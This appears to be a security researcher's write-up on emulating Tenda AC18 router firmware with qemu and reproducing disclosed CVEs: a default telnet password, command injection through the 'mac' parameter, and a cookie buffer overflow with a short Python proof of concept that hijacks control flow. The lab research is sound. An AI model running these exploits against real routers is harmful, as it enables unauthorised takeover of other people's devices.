Reverse engineering the firmware of Tenda AC18 AC1900 Smart Dual-Band Gigabit WiFi Router and reproduce some CVE vulnerabilities in the firmware.
Environment Set up
Retrieve Firmware
Download router firmware from Tenda’s official English website.
Version number: V15.03.3.10_EN Update Date: 2021/2/5
Extract firmware from .rar package, then unpack the firmware with binwalk
1
binwalk -Me AC18.bin
Go through the directory generated by binwalk, there exists a directory named squashfs-root, which is the file system of the router.
qemu User-Mode Emulation
Network configuration
The router’s httpd binary will check the IP address on br0 device and listen on this IP to receive http request from the user. We have to make a virtual network bridge br0 for it.
1 2 3 4 5 6 7
# eth0 is the current network card sudo apt-get install bridge-utils sudo apt-get install uml-utilities sudo brctl addbr br0 sudo brctl addif br0 eth0 sudo ifconfig br0 up sudo dhclient br0
qemu setup
Install qemu-user-satic
1
sudo apt install qemu-user-static
After installation, copy it to the directory under squashfs-root, then launch the httpd service.
1 2 3 4 5
cp $(which qemu-arm-static) ./qemu # without gdb debugging sudo chroot ./ ./qemu ./bin/httpd # with gdb debugging on port 1234 sudo chroot ./ ./qemu -g 1234 ./bin/httpd
qemu System-Mode Emulation
Network configuration Similar to the network configuration in user mode, after setup the network bridge br0, we need to create a device called tap which is used as an interface to connect to network bridge br0.
After launch the qemu system emulation, don’t forget to set up IP address in the virtual machine also in the same network segment.
1
ifconfig eth0 10.0.4.76/24 up
post setup
After setting up all network configurations, now is time to think about how to run the router firmware in the qemu system.
We may first download gdbserver from githubif we would like to debug in the router.
1 2 3 4 5 6 7 8 9 10 11
# host machine tar -zcvf ./squashfs-root.tar.gz ./squashfs-root/
# virtual machine tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz mount -o bind /dev /root/squashfs-root/dev mount -t proc /proc /root/squashfs-root/proc chroot /root/squashfs-root sh
brctl addbr br0 ifconfig br0 10.0.4.76/24 up
Patch Executable File
After launching the vulnerable service in /bin/httpd, we may see that it gets stuck after printing some welcome message.
1 2 3 4 5
Yes:
****** WeLoveLinux****** Welcome to ...
Search the string in IDA and locate at the function sub_2DD04 (I rename it to main because it is the only function gets called in _start and __uClibc_main). qemu’s virtual network environment unable to pass the network check presented in the firmware (if failed, sleep forever), so we can just patch it to bypass.
After patching the vulnerable executable file, we are still unable to access the web content because the /webroot/ directory is empty. We have to migrate /webroot_ro/ to /webroot/.
1
cp -r /webroot_ro/* /webroot/
Finally, we are good to go.
Weak Password
CVE-2018-5768 & CVE-2018-5770
CVE-2018-5770 is an issue discovered on Tenda AC15, however, the service provider didn’t fix it in the firmware of AC18 devices 3 years after CVE disclosure.
This vulnerability allows unauthenticated attackers to launch telnet service and connect it with the default password (addressed in CVE-2018-5768) result owning root privilege of the router.
In function sub_41290, we have a registering of handlers for different URLs to start different services, and one of them is telnet:
In R7WebsSecurityHandler, we then have the code that handles parsing requests. Which only needs a simple password admin (after base-64 decode) to log in.
Therefore, we are able to successfully login to the telnet service of the router and gain root privileges
Command Injection
CVE-2018-16334
Similar to CVE-2020-10987, this function can definitely execute the command as the attacker wish once they get the username and password in the router.
After some search, this vulnerability was also assigned a CVE number CVE-2018-16334.
1 2 3 4 5 6 7 8 9
int __fastcall formWriteFacMac(_DWORD *a1) { constchar *user_input; // [sp+14h] [bp-10h]
user_input = (constchar *)get_user_input((int)a1, (int)"mac", (int)"00:01:02:11:22:33"); sub_2BCF0((int)a1, "modify mac only."); doSystemCmd("cfm mac %s", user_input); return sub_2C238(a1, 200); }
From the pseudo-code above we can clearly see the logic that it takes the user input and then concatenate it to the command. We can construct payload as below.
In the qemu-system emulation, we have:
1
sh: asjdfo: not found
CVE-2020-15916
This function is mentioned in CVE-2020-15916, which directly receives parameters from lan.ip and injects it into the command line argument.
Reference from CVE-2018-5767, there is an unchecked sscanf read in the request package’s cookie section which happened in R7WebsSecurityHandler function.
To reach the vulnerable section, we must pass a bunch of checks:
This shows that url cannot be empty, or equal to \, or have a length equal to 1, or equal to any other strings shown in the big strcmp section.
After entering the if section, url also cannot be inde.html.
Finally enter the if the section that sscanf reads the user input, if we construct the payload properly, it can cause buffer overflow.
Here is a simple POC:
1 2 3 4 5 6 7 8 9 10 11
#!/usr/bin/python
from pwn import * import requests
ip = "10.10.10.1" url = "http://%s/goform/execCommand" % ip cookies = {"Cookie" : "password=" + "A" * 456 + "BBBB"} ret = requests.get(url=url,cookies=cookies) print(ret.text)
GDB view (successfully hijack the control flow to 0x42424242):
This vulnerability happened in the function formSetPPTPServer. It uses sscanf to format the data from the HTTP requests. However, it doesn’t correctly limit the length of the input.
It first gets the parameter of serverEn, startIp, endIp from the post request. Then, it checks if serverEn = 0, if not, then check if serverEn = 1, if it equals 1, and if both startIp and endIp have data in it, the control flow will reach the vulnerable sscanf part.
So the poc is quite simple, satisfied all requirements above and crash the process.